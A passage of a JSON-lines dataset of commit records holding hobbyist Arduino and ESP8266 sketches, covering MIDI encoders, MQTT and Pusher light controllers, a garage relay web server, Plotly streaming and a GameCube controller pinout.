)\n\t{\t\t\t\n\t\tif (currPosACT != currPosSP)\n\t\t{\n\t\t\tif (currPosACT > currPosSP)\n\t\t\t\tPORTL |= _BV(PORTL3);\/\/set the direction\t\n\t\t\telse \n\t\t\t\tPORTL &= ~_BV(PORTL3);\/\/set the direction\n\t\t\t\t\n\t\t\t\n\t\t\t\/\/start the timer\n\t\t\tTCCR5B |= _BV(CS50); \/\/ | _BV(CS50);\n\t\t\ttimer5ON = 1;\n\t\t}\n\t}\n\t\n if( thcOn )\n PORTB |= _BV(7);\n else\n PORTB &= ~_BV(7);\n \n\t\/\/debugJunk();\t\t\n}\n\n\/\/Just for debugging\nvoid debugJunk()\n{\n\tjunkCounter++;\n\/*\t\n\tif (Serial.available() )\/\/> 0 && timer5ON == 0)\n\t{\n\t\tincomingByte = Serial.read();\n\t\t\t\n\t\tif(incomingByte == '0')\n\t\t{\n\t\t\tthcOn = 0;\n\t\t}\n\t\telse if (incomingByte == '1')\n\t\t{\n\t\t\tthcOn = 1;\n\t\t}\n\t}\n\t\n\t\n*\/\t\n\t\n\t\t\/\/Serial.print(temp2,BIN);\n\t\n\tif (!(junkCounter % 2000))\n\t{\n\t\tSerial.print(thcOn,BIN);\n\t\tSerial.print(\" \");\n\t\tSerial.print(voltageSP);\n\t\tSerial.print(\" \");\n\t\tSerial.print(voltageACT);\n\t\tSerial.print(\" \");\n\t\tSerial.print(currPosIN);\n\t\tSerial.print(\" \");\n\t\tSerial.println(zDirIn);\n\t}\n\t\n\n\t\/\/delay(50);\n\t\n\n\n\t\/*\n\t\n\t\n\ttemp2 = PINL & _BV(PINL4);\n\t\n\tif (temp2 > 0)\n\t{\n\t\tSerial.print(\"UP\");\n\t}\n\telse\n\t{\n\t\tSerial.print(\"DN\");\n\t}\n\t\n\t\n\n\t\/\/Serial.print(temp2,BIN);\n\t\n\n\t\tSerial.print(\" \");\n\tSerial.print(timer5ON);\n\tSerial.print(\" \");\n\tSerial.println(currPos);\n\t\n\tdelay(10);\n\t\n\t*\/\n\t\/\/digitalWrite(13, porte5s);\n\t\n\n\n\n\t\n\t\/* \t\n\tSerial.print(voltage);\n\tSerial.print(\"\\t \");\n\tSerial.println(timer4Val);\n\tSerial.println();\n\tdelay(100);\n\n\n\tdigitalWrite(13, HIGH);\n\tSerial.println(\"High\");\n\tdelay(250);\n\tdigitalWrite(13,LOW);\n\tSerial.println(\"Low\");\n\tdelay(250);\n\t*\/\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'THC\/THC.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"cc77561c6a7aa7d4000b49a98ba6bffbf9348e9e","subject":"Added Encoders example for sending Control Change events","message":"Added Encoders example for sending Control Change events\n","repos":"BlokasLabs\/BuildingBlocks,BlokasLabs\/BuildingBlocks","old_file":"arduino\/libraries\/BuildingBlocks\/examples\/Encoders\/Encoders.ino","new_file":"arduino\/libraries\/BuildingBlocks\/examples\/Encoders\/Encoders.ino","new_contents":"\/\/ Encoders example. Assumes Arduino connected to the Mainboard, and the Encoders module connected to the first port (SV1).\n\n#include <SPI.h>\n#include <BuildingBlocks.h>\n\n\/\/ Define an instance of MiniKeyboard module.\nEncoders encoders;\n\n\/\/ Define an instance of the Mainboard module.\nMainboard mainboard(encoders);\n\nvoid setup() {\n\t\/\/ Setup serial communication for the MIDI port.\n\tSerial1.begin(31250);\n\n\t\/\/ Initialize the Mainboard module\n\tmainboard.init();\n\n\t\/\/ Set the function which will get called when keyboard events are detected.\n\tencoders.setCallback(&onEncEvent);\n}\n\n\/\/ Just update the Mainboard in order to receive the events that are happening in the attached modules.\nvoid loop() {\n\tmainboard.update();\n}\n\nint16_t clamp(int16_t value, int16_t min, int16_t max) {\n if (value < min) value = min;\n else if (value > max) value = max;\n return value;\n}\n\n\/\/ This will get called while executing mainboard.update(), if events were detected.\nvoid onEncEvent(uint8_t enc, int8_t change, bool isDown) {\n\tsendMidiCC(0, enc, clamp(encoders.getValue(enc), 0, 127)); \/\/ clamp the value between 0 and 127\n}\n\n\/\/ Send the 3 byte MIDI Control Change message through the Serial port.\nvoid sendMidiCC(uint8_t channel, uint8_t control, uint8_t value) {\n\tSerial1.write(0xB0 | channel);\n\tSerial1.write(control);\n\tSerial1.write(value);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/libraries\/BuildingBlocks\/examples\/Encoders\/Encoders.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"51cce03ddfaac553ce5d3d1e3b06f839877cfc62","subject":"Added BULB light controller sketch","message":"Added BULB light controller sketch\n","repos":"Hipo\/home-made-homekit,Hipo\/home-made-homekit","old_file":"BULB\/BULB.ino","new_file":"BULB\/BULB.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n\n#include <avr\/wdt.h>\n\n#include <PusherClient.h>\n\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\n\nPusherClient client;\n\n#define FLOOR1 2\n#define FLOOR2 3\n#define FLOOR3 5\n#define FLOOR4 6\n\n\nvoid setup() {\n pinMode(FLOOR1, OUTPUT);\n pinMode(FLOOR2, OUTPUT);\n pinMode(FLOOR3, OUTPUT);\n pinMode(FLOOR4, OUTPUT);\n\n Serial.begin(9600);\n\n turnOnFloor1(\"\");\n turnOnFloor2(\"\");\n turnOnFloor3(\"\");\n turnOnFloor4(\"\");\n\n wdt_enable(WDTO_8S);\n\n Serial.println(\"Init...\");\n\n if (Ethernet.begin(mac) == 0) {\n Serial.println(\"Init Ethernet failed\");\n while(1) {}\n }\n \n wdt_reset();\n \n Serial.println(\"Connecting...\");\n \n if (client.connect(\"138289ba194ec1862b00\")) {\n wdt_reset();\n \n Serial.println(\"Connected\");\n\n client.bind(\"floor1_on\", turnOnFloor1);\n client.bind(\"floor1_off\", turnOffFloor1);\n\n client.bind(\"floor2_on\", turnOnFloor2);\n client.bind(\"floor2_off\", turnOffFloor2);\n\n client.bind(\"floor3_on\", turnOnFloor3);\n client.bind(\"floor3_off\", turnOffFloor3);\n\n client.bind(\"floor4_on\", turnOnFloor4);\n client.bind(\"floor4_off\", turnOffFloor4);\n\n client.bind(\"all_off\", turnOffAll);\n client.bind(\"all_on\", turnOnAll);\n\n client.subscribe(\"homekit_channel\");\n }\n\n wdt_disable();\n}\n\nvoid loop() {\n if (client.connected()) {\n client.monitor();\n } else {\n wdt_enable(WDTO_8S);\n \n Serial.println(\"Connection lost, reconnecting...\");\n\n while(1) {};\n }\n}\n\nvoid turnOffFloor1(String data) {\n Serial.println(\"FLOOR 1 OFF\");\n digitalWrite(FLOOR1, HIGH);\n}\n\nvoid turnOnFloor1(String data) {\n Serial.println(\"FLOOR 1 ON\");\n digitalWrite(FLOOR1, LOW);\n}\n\nvoid turnOffFloor2(String data) {\n digitalWrite(FLOOR2, HIGH);\n}\n\nvoid turnOnFloor2(String data) {\n digitalWrite(FLOOR2, LOW);\n}\n\nvoid turnOffFloor3(String data) {\n digitalWrite(FLOOR3, HIGH);\n}\n\nvoid turnOnFloor3(String data) {\n digitalWrite(FLOOR3, LOW);\n}\n\nvoid turnOffFloor4(String data) {\n digitalWrite(FLOOR4, HIGH);\n}\n\nvoid turnOnFloor4(String data) {\n digitalWrite(FLOOR4, LOW);\n}\n\nvoid turnOffAll(String data) {\n turnOffFloor1(\"\");\n turnOffFloor2(\"\");\n turnOffFloor3(\"\");\n turnOffFloor4(\"\");\n}\n\nvoid turnOnAll(String data) {\n turnOnFloor1(\"\");\n turnOnFloor2(\"\");\n turnOnFloor3(\"\");\n turnOnFloor4(\"\");\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BULB\/BULB.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d69248e851a398aebfa240bdbfda4576be1f50e3","subject":"Added new wifi driver as supported device","message":"Added new wifi driver as supported device\n","repos":"KBraham\/LedDomotics,KBraham\/LedDomotics","old_file":"esp_8266_wifi_driver\/wifi_driver.ino","new_file":"esp_8266_wifi_driver\/wifi_driver.ino","new_contents":"\/*\n Wifi driver board using the ESP8266 on a H801 WIFI LED Controller\n\n Make sure you install the ESP8266 board:\n - Add the following 3rd party board manager under \"File -> Preferences -> Additional Boards Manager URLs\":\n http:\/\/arduino.esp8266.com\/stable\/package_esp8266com_index.json\n - Open the \"Tools -> Board -> Board Manager\" and click install for the ESP8266\"\n - Select your ESP8266 in \"Tools -> Board\"\n*\/\n\n#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n\n\/\/ RGB FET\n\/\/ SWAPPED RED AND W1 in enschede\nconstexpr uint8_t led_pin_red = 14;\nconstexpr uint8_t led_pin_green = 13;\nconstexpr uint8_t led_pin_blue = 12;\n\n\/\/ W FET\nconstexpr uint8_t led_pin_w1 = 15;\nconstexpr uint8_t led_pin_w2 = 4;\n\n\/\/ onboard green LED D1\nconstexpr uint8_t led_pin_onboard_green = 5;\n\/\/ onboard red LED D2\nconstexpr uint8_t leD_pin_onboard_red = 1;\n\nconstexpr char ssid[] = \"YOURSSID\";\nconstexpr char password[] = \"SECRET!\";\nconstexpr char mqtt_server[] = \"mqtthost.lan\";\nconstexpr short mqtt_port = 1883;\n\nconstexpr char mqtt_prefix[] = \"\/devices\/dimmer\/\";\nconstexpr char mqtt_w1_status[] = \"\/w1\/status\";\nconstexpr char mqtt_w2_status[] = \"\/w2\/status\";\nconstexpr char mqtt_w1_status_set[] = \"\/w1\/status_set\";\nconstexpr char mqtt_w2_status_set[] = \"\/w2\/status_set\";\nconstexpr char mqtt_w1_brightness[] = \"\/w1\/brightness\";\nconstexpr char mqtt_w2_brightness[] = \"\/w2\/brightness\";\nconstexpr char mqtt_w1_brightness_set[] = \"\/w1\/brightness_set\";\nconstexpr char mqtt_w2_brightness_set[] = \"\/w2\/brightness_set\";\nconstexpr char mqtt_fade_time[] = \"\/fadetime\";\nconstexpr char mqtt_fade_time_set[] = \"\/fadetime_set\";\n\nconstexpr uint8_t led_index_r = 0;\nconstexpr uint8_t led_index_g = 1;\nconstexpr uint8_t led_index_b = 2;\nconstexpr uint8_t led_index_w1 = 3;\nconstexpr uint8_t led_index_w2 = 4;\n\nWiFiClient espClient;\nPubSubClient client(espClient);\nuint8_t mac[6];\nunsigned long lastLedCheck = 0;\nchar friendly_mac_address[18] = {0};\n\nconstexpr short led_loop_time = 20;\n\nshort led_brightness_current[5] = {0};\nshort led_brightness[5] = {0};\nshort led_step_size[5] = {0};\nbool led_status[5] = {0};\nshort led_fade_time = 200;\nuint8_t led_pins[] = {led_pin_red, led_pin_blue, led_pin_green, led_pin_w1, led_pin_w2};\n\nvoid setup_wifi() {\n\n delay(10);\n \/\/ Connect to the local WiFi network\n Serial1.println();\n Serial1.print(\"Connecting to \");\n Serial1.println(ssid);\n\n WiFi.begin(ssid, password);\n\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial1.print(\".\");\n }\n\n randomSeed(micros());\n\n Serial1.println(\"\");\n Serial1.println(\"WiFi connected\");\n Serial1.println(\"IP address: \");\n Serial1.println(WiFi.localIP());\n}\n\nvoid set_led_status(uint8_t led, bool status) {\n led_status[led] = status;\n Serial1.print(\"Led status \");\n Serial1.print(String(led));\n Serial1.print(\" to \");\n Serial1.print(String(status));\n Serial1.println();\n\n const char* topic;\n std::string device_prefix(mqtt_prefix);\n device_prefix += std::string(friendly_mac_address);\n if(led == led_index_w1) {\n topic = (device_prefix + mqtt_w1_status).c_str();\n } else {\n topic = (device_prefix + mqtt_w2_status).c_str();\n }\n client.publish(topic, String(led_status[led]).c_str());\n}\n\nvoid set_led_brightness(uint8_t led, uint16_t status) {\n led_brightness[led] = status;\n short difference = led_brightness[led] - led_brightness_current[led];\n short number_of_steps = (led_fade_time \/ led_loop_time);\n led_step_size[led] = difference \/ number_of_steps;\n\n \/\/ Print a bit to inform of changing brightness\n Serial1.print(\"Led brightness \");\n Serial1.print(String(led));\n Serial1.print(\" to \");\n Serial1.print(String(status));\n Serial1.println();\n\n const char* topic;\n std::string device_prefix(mqtt_prefix);\n device_prefix += std::string(friendly_mac_address);\n if(led == led_index_w1) {\n topic = (device_prefix + mqtt_w1_brightness).c_str();\n } else {\n topic = (device_prefix + mqtt_w2_brightness).c_str();\n }\n client.publish(topic, String(led_brightness[led]).c_str());\n}\n\nvoid set_fade_time(uint16_t fadetime) {\n led_fade_time = fadetime;\n Serial1.print(\"Led fadetime \");\n Serial1.print(String(fadetime));\n Serial1.println();\n\n const char* topic;\n std::string device_prefix(mqtt_prefix);\n device_prefix += std::string(friendly_mac_address);\n topic = (device_prefix + mqtt_fade_time).c_str();\n client.publish(topic, String(led_fade_time).c_str());\n}\n\nvoid check_leds() {\n for (int i = 0; i < sizeof(led_status); ++i) {\n short step = led_step_size[i];\n short target = led_brightness[i];\n short current = led_brightness_current[i];\n\n if(!led_status[i]) {\n analogWrite(led_pins[i], 0);\n } else if(current != target) {\n\n if((step > 0 && (current + step) < target) || (step < 0 && (current + step) > target)) {\n led_brightness_current[i] = current + step;\n } else {\n led_brightness_current[i] = target;\n }\n analogWrite(led_pins[i], led_brightness_current[i]);\n }\n }\n}\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n Serial1.print(\"Message arrived [\");\n Serial1.print(topic);\n Serial1.print(\"] \");\n Serial1.println();\n\n topic += sizeof(mqtt_prefix) + sizeof(friendly_mac_address) - 2;\n\n Serial1.print(topic);\n Serial1.println();\n\n \n if(strncmp(topic, mqtt_w1_status_set, sizeof(mqtt_w1_status_set)) == 0) {\n bool status = ((char)payload[0] == '1');\n set_led_status(led_index_w1, status);\n\n } else if(strncmp(topic, mqtt_w2_status_set, sizeof(mqtt_w2_status_set)) == 0) {\n bool status = ((char)payload[0] == '1');\n set_led_status(led_index_w2, status);\n\n } else if(strncmp(topic, mqtt_w1_brightness_set, sizeof(mqtt_w1_brightness_set)) == 0) {\n payload[length] = 0;\n int level = atoi((char*)payload);\n set_led_brightness(led_index_w1, level);\n } else if(strncmp(topic, mqtt_w2_brightness_set, sizeof(mqtt_w2_brightness_set)) == 0) {\n payload[length] = 0;\n int level = atoi((char*)payload);\n set_led_brightness(led_index_w2, level);\n } else if(strncmp(topic, mqtt_fade_time_set, sizeof(mqtt_fade_time_set)) == 0) {\n payload[length] = 0;\n int fadetime = atoi((char*)payload);\n set_fade_time(fadetime);\n }\n}\n\nvoid reconnect() {\n while (!client.connected()) {\n Serial1.print(\"Attempting MQTT connection...\");\n\n \/\/ Create a random client ID\n String clientId = \"ESP8266Client-\";\n clientId += String(random(0xffff), HEX);\n\n \/\/ Attempt to connect\n if (client.connect(clientId.c_str())) {\n Serial1.println(\"connected to mqtt\");\n\n \/\/ Once connected, publish an announcement...\n std::string device_prefix(mqtt_prefix);\n device_prefix += std::string(friendly_mac_address);\n client.publish((device_prefix + mqtt_w1_status).c_str(), String(led_status[led_index_w1]).c_str());\n client.publish((device_prefix + mqtt_w2_status).c_str(), String(led_status[led_index_w2]).c_str());\n client.publish((device_prefix + mqtt_w1_brightness).c_str(), String(led_brightness[led_index_w1]).c_str());\n client.publish((device_prefix + mqtt_w2_brightness).c_str(), String(led_brightness[led_index_w2]).c_str());\n client.publish((device_prefix + mqtt_fade_time).c_str(), String(led_fade_time).c_str());\n \n client.subscribe((device_prefix + mqtt_w1_status_set).c_str());\n client.subscribe((device_prefix + mqtt_w2_status_set).c_str());\n client.subscribe((device_prefix + mqtt_w1_brightness_set).c_str());\n client.subscribe((device_prefix + mqtt_w2_brightness_set).c_str());\n client.subscribe((device_prefix + mqtt_fade_time_set).c_str());\n client.subscribe((device_prefix + mqtt_fade_time_set).c_str());\n } else {\n Serial1.print(\"failed, rc=\");\n Serial1.print(client.state());\n Serial1.println(\" try again in 5 seconds\");\n \/\/ Wait 5 seconds before retrying\n delay(5000);\n }\n }\n}\n\nvoid setup() {\n for(int i = 0; i < sizeof(led_pins); ++i) {\n analogWrite(i, 0);\n }\n\n pinMode(BUILTIN_LED, OUTPUT); \/\/ Initialize the BUILTIN_LED pin as an output\n Serial1.begin(115200);\n setup_wifi();\n WiFi.macAddress(mac);\n for (int i = 0; i < sizeof(mac); ++i){\n snprintf(friendly_mac_address + i*3, sizeof(friendly_mac_address) - i*3, \"%02x:\", mac[i]);\n }\n client.setServer(mqtt_server, mqtt_port);\n client.setCallback(callback);\n}\n\nvoid loop() {\n\n if (!client.connected()) {\n reconnect();\n }\n client.loop();\n\n unsigned long now = millis();\n if(now - lastLedCheck >= led_loop_time) {\n check_leds();\n lastLedCheck = now;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp_8266_wifi_driver\/wifi_driver.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"df95876f7481959c76baa9366ab1655f15e8cc43","subject":"Simple demo example program.","message":"Simple demo example program.\n","repos":"xlatb\/NiftyRA8875,xlatb\/ra8875","old_file":"examples\/ra8875-demo\/ra8875-demo.ino","new_file":"examples\/ra8875-demo\/ra8875-demo.ino","new_contents":"#pragma GCC diagnostic warning \"-Wall\"\n#include \"RA8875.h\"\n\nconst int intPin = 0;\nconst int csPin = 10;\nconst int resetPin = 9;\n\nRA8875 tft = RA8875(csPin, intPin);\n\nvoid setup()\n{\n Serial.begin(9600);\n\n\/\/ while (!Serial)\n\/\/ ;\n\n delay(2000);\n\n Serial.println(\"Hello!\");\n \n tft.init();\n tft.clearMemory();\n tft.setBacklight(true);\n tft.setScrollWindow(0, 479, 0, 271);\n \n Serial.println(\"TFT init complete.\");\n\n\/\/ tft.setDrawLayer(2);\n\/\/ tft.clearMemory();\n\/\/ tft.setDrawLayer(1);\n\n textTest();\n\n delay(1000);\n\n pixelTest();\n \n delay(1000);\n\n gradientTest();\n\n \/\/tft.setLayerMode(RA8875_LAYER_OR);\n\n \/\/tft.setDrawLayer(2);\n\n\/\/ tft.drawRect(50, 50, 100, 100, RGB332(0, 255, 0));\n\/\/ tft.fillRect(150, 50, 200, 100, RGB332(0, 255, 255));\n\/\/ tft.drawLine(250, 50, 300, 100, RGB332(255, 0, 255));\n\/\/ tft.drawRect(0, 256, 479, 271, RGB332(255, 0, 255));\n}\n\nvoid textTest()\n{\n Serial.println(\"Text test.\");\n\n tft.setCursor(0, 0);\n Serial.println(\"Set cursor position complete.\");\n\n tft.setCursorVisibility(false, true);\n Serial.println(\"Set cursor visibility complete.\");\n\n tft.setTextSize(1);\n tft.println(\"Text size 1\");\n\n tft.setTextSize(2);\n tft.println(\"Text size 2\");\n\n tft.setTextSize(3);\n tft.println(\"Text size 3\");\n\n tft.setTextSize(4);\n tft.println(\"Text size 4\");\n \n Serial.println(\"Print text complete.\"); \n}\n\nvoid gradientTest()\n{\n Serial.println(\"Gradient test.\");\n\n tft.clearMemory();\n\n int width = tft.getWidth();\n int barHeight = tft.getHeight() \/ 3;\n \n for (int i = 0; i <= 255; i++)\n {\n tft.fillRect((width \/ 256.0) * i, 0, (width \/ 256.0) * i + 1, barHeight, RGB332(i, 0, 0));\n tft.fillRect((width \/ 256.0) * i, barHeight, (width \/ 256.0) * i + 1, barHeight * 2, RGB332(0, i, 0));\n tft.fillRect((width \/ 256.0) * i, barHeight * 2, (width \/ 256.0) * i + 1, barHeight * 3, RGB332(0, 0, i));\n \/\/tft.fillRect(0, 0, 479, 271, RGB332(0, i, 0));\n \/\/tft.fillRect(0, 0, 479, 271, RGB332(0, 0, i));\n }\n \n}\n\nvoid pixelTest()\n{\n Serial.println(\"Pixel test.\");\n\n int width = tft.getWidth();\n int height = tft.getHeight();\n\n for (int i = 0; i < 20000; i++)\n {\n int x = random(0, width);\n int y = random(0, height);\n \n tft.drawPixel(x, y, 0x55);\n }\n \n}\n\nvoid loop()\n{\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ra8875-demo\/ra8875-demo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"accd584767274ef7d7995e73b485df87ca5514e9","subject":"Create Garage_control.ino","message":"Create Garage_control.ino","repos":"flexdigit\/ESP8266","old_file":"Garage_control.ino","new_file":"Garage_control.ino","new_contents":"\/*\n * from\n * http:\/\/esp8266-server.de\/\n * \n * Webserver as Accesspoint for ESP8266\n * \n * Free for anyone!!! \n * \n *\/\n \n#include <ESP8266WiFi.h>\n#include <ESP8266WebServer.h>\n \nString html1 = \"<!DOCTYPE html>\\r\\n<html>\\r\\n\\\n<head>\\r\\n<meta content=\\\"text\/html; charset=ISO-8859-1\\\" http-equiv=\\\"content-type\\\">\\r\\n\\\n<title>Garage control<\/title>\\r\\n\\\n<form action=\\\"\";\n\/\/ String((val)?\"\/1.html\":\"\/0.html\")\nString html2 = \"\\\">\\r\\n<input value=\\\"ON\/OFF\\\" style=\\\"\";\nString html3 = \" width:15em;height:13em; font-size: 24px;\\\" type=\\\"submit\\\">\\\n<\/form>\\r\\n<\/head>\\r\\n<body>\\r\\n<\/body>\\r\\n<\/html>\";\n \nESP8266WebServer server(80); \/\/ Setup server port\nint val = 1; \/\/ switched off during init\nString Temp = \"\";\n \nvoid Ereignis_SchalteON() \/\/ Executed if \"http:\/\/<ip address>\/1.html\" is called\n{\n val = 0; \/\/ Relay off\n digitalWrite(0, val); \/\/ GPIO0\n Temp = html1 + String((val) ? \"\/1.html\" : \"\/0.html\");\n Temp += html2 + String((val) ? \"BACKGROUND-COLOR: DarkGray;\" : \"BACKGROUND-COLOR: Chartreuse;\") + html3;\n server.send(200, \"text\/html\", Temp);\n}\n \nvoid Ereignis_SchalteOFF() \/\/ Executed if \"http:\/\/<ip address>\/\/0.html\" is called\n{\n val = 1; \/\/ Relay on\n digitalWrite(0, val); \/\/ GPIO0\n Temp = html1 + String((val) ? \"\/1.html\" : \"\/0.html\");\n Temp += html2 + String((val) ? \"BACKGROUND-COLOR: DarkGray;\" : \"BACKGROUND-COLOR: Chartreuse;\") + html3;\n server.send(200, \"text\/html\", Temp);\n}\n \nvoid Ereignis_Index() \/\/ Executed if \"http:\/\/<ip address>\/\" is called\n{\n Temp = html1 + String((val) ? \"\/1.html\" : \"\/0.html\");\n Temp += html2 + String((val) ? \"BACKGROUND-COLOR: DarkGray;\" : \"BACKGROUND-COLOR: Chartreuse;\") + html3;\n server.send(200, \"text\/html\", Temp);\n}\n \nvoid setup()\n{\n \/\/digitalWrite(0, 1); \/\/ Anfangszustand 1 (Relais ausgeschaltet)\n pinMode(0, OUTPUT); \/\/ GPIO0 configured as output\n pinMode(2, INPUT_PULLUP); \/\/ GPIO2 configured as input with Pullup\n digitalWrite(0, 1); \/\/ initial condition 1 (Relay off)\n \n Serial.begin(115200); \/\/ init seriel inteface\n Serial.println(\"\"); \/\/ print empty line\n Serial.println(\"Starte WLAN-Hotspot \\\"astral\\\"\");\n WiFi.mode(WIFI_AP); \/\/ access point modus\n WiFi.softAP(\"astral\", \"12345678\"); \/\/ name of the Wifi net\n delay(500); \/\/ wait 0,5s\n Serial.print(\"IP Adresse \"); \/\/ print of the current IP of the server\n Serial.println(WiFi.softAPIP());\n \n \/\/ treatment of the different events - before server.begin()!!!\n server.on(\"\/\", Ereignis_Index);\n server.on(\"\/1.html\", Ereignis_SchalteON);\n server.on(\"\/0.html\", Ereignis_SchalteOFF);\n \n server.begin(); \/\/ start the server\n Serial.println(\"HTTP Server gestartet\");\n}\n \nvoid loop()\n{\n server.handleClient();\n delay(500);\n \n\/\/ if (!digitalRead(2)) \/\/Wenn Taster an GPIO2 betetigt wurde\n\/\/ {\n\/\/ val = !val; \/\/ Schaltzuschtand andern\n\/\/ digitalWrite(0, val);\n\/\/ while (!digitalRead(2))server.handleClient(); \/\/ Warten bis der Taster losgelassen wird.\n\/\/ }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Garage_control.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9a428e9d8c7d2f5ad4f4bb307d82672f58253991","subject":"Create spark-plotly.ino","message":"Create spark-plotly.ino","repos":"jdecked\/spark-plotly,bigmacd\/spark-plotly","old_file":"examples\/spark-plotly.ino","new_file":"examples\/spark-plotly.ino","new_contents":"#include \"spark-plotly.h\"\n\n#define DATA_POINTS 4\n\nchar* data_point_tokens[NUM_TOKENS] = {\"token1\", \"token2\", \"token3\",\"token4\"};\nplotly graph = plotly(\"username\", \"secret\", streaming_tokens, \"streamname\", DATA_POINTS);\n\nvoid setup() {\n graph.init();\n graph.fileopt = \"extend\";\n graph.openStream(); \n}\n\nvoid loop() {\n\n float val1;\n float val2;\n float val3;\n float val4;\n \n \/\/ up to you to decide what these values represent and how they get initialized\/updated.\n\n unsigned long x = millis();\n\n graph.plot(x, val1, data_point_tokens[0]);\n graph.plot(x, val2, data_point_tokens[1]);\n graph.plot(x, val3, data_point_tokens[2]);\n graph.plot(x, val4, data_point_tokens[3]);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/spark-plotly.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"96854c40a70063217d72e81bf09ae6da25fdab42","subject":"Upload Gamecube Arduino file","message":"Upload Gamecube Arduino file","repos":"WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff","old_file":"gcn_controller\/gcn_controller.ino","new_file":"gcn_controller\/gcn_controller.ino","new_contents":"\/*\r\n GameCube Controller for Arduino Mega2560 v1.0 by WhatAboutGaming\r\n Based on PS2 Version\r\n For use in the Twitch.TV stream TwitchTriesToPlay.\r\n https:\/\/www.twitch.tv\/twitchtriestoplay\r\n https:\/\/github.com\/WhatAboutGaming\/Twitch-Plays-Stuff\r\n\r\n Reference:\r\n http:\/\/www.int03.co.uk\/crema\/hardware\/gamecube\/gc-control.html\r\n http:\/\/www.seas.upenn.edu\/~gland\/gamecube.html\r\n https:\/\/nintenduino.wordpress.com\/documentation\/controller-reference\/\r\n https:\/\/nintenduino.files.wordpress.com\/2013\/12\/untitled.png\r\n https:\/\/nintenduino.files.wordpress.com\/2013\/12\/protocolv1-0.png\r\n https:\/\/github.com\/NicoHood\/Nintendo\r\n https:\/\/github.com\/dekuNukem\/gc3ds\r\n*\/\r\n\r\n\/*\r\n PINOUTS\r\n\r\n\r\n Protoboard Side|Arduino Side|Variable Name |GCN Controller Side\r\n 13 LEFT |2 |axisY |Analog Axis Y\r\n 14 LEFT |3 |axisX |Analog Axis X\r\n 15 LEFT |4 |axisCx |Axis C X\r\n 16 LEFT |5 |axisCy |Axis C Y\r\n 6 LEFT |6 |buttonDDown |D-Down\r\n 5 LEFT |7 |buttonDLeft |D-Left\r\n 8 LEFT |8 |axisLTrigger |L Analog Trigger\r\n 7 LEFT |9 |buttonLTrigger|L Digital Trigger\r\n 10 LEFT |10 |buttonTurbo |Turbo (Bootleg Controller Button)\r\n 11 LEFT |11 |buttonMode |Mode (Bootleg Controller Button)\r\n 12 LEFT |12 |buttonStart |Start\r\n 4 RIGHT |13 |axisRTrigger |R Analog Trigger\r\n 3 LEFT |22 |buttonDUp |D-Up\r\n 4 LEFT |23 |buttonDRight |D-Right\r\n 5 RIGHT |24 |buttonB |B\r\n 3 RIGHT |25 |buttonRTrigger|R Digital Trigger\r\n 6 RIGHT |26 |buttonY |Y\r\n 8 RIGHT |27 |buttonX |X\r\n 7 RIGHT |28 |buttonA |A\r\n 10 RIGHT |29 |buttonZ |Z\r\n 9 RIGHT |30 |buttonMacro |Macro (Bootleg Controller Button)\r\n 9 LEFT |A0 |motorInput |Motor\r\n 11 RIGHT |A1 |turboLed |Turbo LED (Bootleg Controller Function)\r\n 12 RIGHT |A2 |macroLed |Macro LED (Bootleg Controller Function)\r\n*\/\r\n\r\n#define axisY 2\r\n#define axisX 3\r\n#define axisCx 4\r\n#define axisCy 5\r\n#define buttonDDown 6\r\n#define buttonDLeft 7\r\n\r\n#define axisLTrigger 8\r\n#define buttonLTrigger 9\r\n#define buttonTurbo 10\r\n#define buttonMode 11\r\n#define buttonStart 12\r\n#define axisRTrigger 13\r\n\r\n#define buttonDUp 22\r\n#define buttonDRight 23\r\n#define buttonB 24\r\n#define buttonRTrigger 25\r\n#define buttonY 26\r\n#define buttonX 27\r\n\r\n#define buttonA 28\r\n#define buttonZ 29\r\n#define buttonMacro 30\r\n\r\n#define motorInput A0\r\n#define turboLed A1\r\n#define macroLed A2\r\n\r\n#define vccPin A10 \/\/ For reading and checking if the controller is conencted or not\r\n\r\n#define relayPin A11\r\n\r\nboolean isInputting = false;\r\nboolean isInputtingDelayed = false;\r\nboolean sentPing = false;\r\nboolean sentPong = false;\r\nboolean isConnected = false;\r\n\r\nunsigned long inputDelay = 0;\r\nunsigned long previousInputDelay = 0;\r\nunsigned long currentMillis = 0;\r\n\r\nunsigned long pingTimeOut = 0;\r\nunsigned long pongTimeOut = 0;\r\nunsigned long pingTimeIn = 0;\r\nunsigned long pongTimeIn = 0;\r\nunsigned long pingDelay = 200;\r\nunsigned long pongDelay = 1000;\r\nunsigned long previousCalc = 0;\r\nunsigned long calcDelay = 1000;\r\nunsigned long previousPingDelay = 0;\r\nunsigned long previousPongDelay = 0;\r\nunsigned long lastPingIn = 0;\r\nunsigned long lastPongIn = 0;\r\nunsigned long lastPingOut = 0;\r\nunsigned long lastPongOut = 0;\r\nunsigned long calcPingTimestampIn = 0;\r\nunsigned long calcPongTimestampIn = 0;\r\nunsigned long calcPingTimestampOut = 0;\r\nunsigned long calcPongTimestampOut = 0;\r\n\r\nunsigned long resetControllerDataDelay = 500;\r\nunsigned long 